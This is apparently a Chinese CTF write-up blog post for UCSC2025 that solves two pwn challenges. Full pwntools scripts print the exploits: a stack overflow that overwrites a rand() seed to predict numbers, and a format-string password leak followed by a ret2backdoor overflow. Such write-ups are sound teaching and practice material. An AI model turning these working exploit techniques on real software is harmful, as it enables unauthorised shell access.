UCSC2025 wp

vstral Lv1

比赛时间 :2025/04/20

比赛前一天把系统搞炸了,今天调了一天的系统和环境,离比赛结束还有10分钟才开始做题,就赛后复现一下吧

第一题:BoFido-ucsc

#随机数 #栈溢出

image.png

用到了伪随机数,生成了10组数字,连续输入10组数字正确即可得到shell

因为前面输入姓名的地方是存在溢出的,随机数种子也是存在栈上的,所以可以通过溢出来修改种子。先将种子设置为0,然后利用libc生成10组的随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

from ctypes import CDLL



context(arch='amd64', os='linux', log_level='debug')



# 初始化预测随机数

libc = CDLL('libc.so.6')  # 使用与目标相同的libc

libc.srand(0)  # 设置种子为0



# 预生成所有随机数对

predictions = []

for _ in range(10):

    nums = (libc.rand()%255, libc.rand()%255, libc.rand()%255)

    predictions.append(nums)



# 构造payload

payload  = b'A'*20                   # 填充缓冲区

payload += b'B'*12                   # 覆盖v8-v10空间

payload += p32(0)                    # 覆盖seed值为0

payload += b'\x01'                   # 保持i变量初始值为1



# 启动进程

p = process('./BoFido')  # 替换成实际二进制文件名

#p = remote('39.107.58.236',41023)

# p = remote('host', port) # 远程连接用



# 发送缓冲区溢出payload

p.recvuntil(b'Enter your name:\n')

p.send(payload)



# 交互处理10轮猜测

for round in range(10):

    p.recvuntil(f'[+] Round {round+1}, please choose your numbers:\n'.encode())

    a, b, c = predictions[round]

    p.sendline(f'{a} {b} {c}'.encode())



p.recvuntil(b'You\'re so lucky! Here is your gift!\n')

p.interactive()

第二题 userlogin-ucsc

image.png

发现login的user里面存在一个格式化字符串漏洞,而且程序还给了一个后门程序,可以通过格式化字符串修改返回地址到shell,试了几次发现因为输入的字节还是少了点,转变思路通过获得密码然后进入root里面溢出到返回地址

image.png

`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context.update(arch='i386',os='linux',log_level='debug')

# context(os='linux', arch='amd64')

file_name = "./pwn"  

elf = ELF(file_name)



select = 1

if select == 1:

    io = process(file_name)

else:

    io = remote()



#-------------- EXP -------------------#

sd = lambda s : io.send(s)

sl = lambda s : io.sendline(s)

sa = lambda n,s : io.sendafter(n,s)

sla = lambda n,s : io.sendlineafter(n,s)

rc = lambda n : io.recv(n)

rl = lambda : io.recvline()

ru = lambda s : io.recvuntil(s)

ra = lambda : io.recvall()

it = lambda : io.interactive()

#-------------- END -------------------#



#第一次

ru(b'Password:')

sl(b'supersecureuser')



payload = b'%13$s'

sla(b'Write Something\n',payload)



passwd = rc(16)

success("passwd : " + str(passwd))



#第二次

ru(b'Password:')

sl(passwd)



shell = 0x401261

ret = 0x401016

payload2 = b'a'*0x20 + p64(0xdeadbeef) + p64(ret) + p64(shell)

sla(b'Note: \n',payload2)



it()
  • 标题: UCSC2025 wp
  • 作者: vstral
  • 创建于 : 2025-04-20 20:33:13
  • 更新于 : 2025-04-20 21:22:06
  • 链接: https://www.vstral.cn/2025/04/20/UCSC2025-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。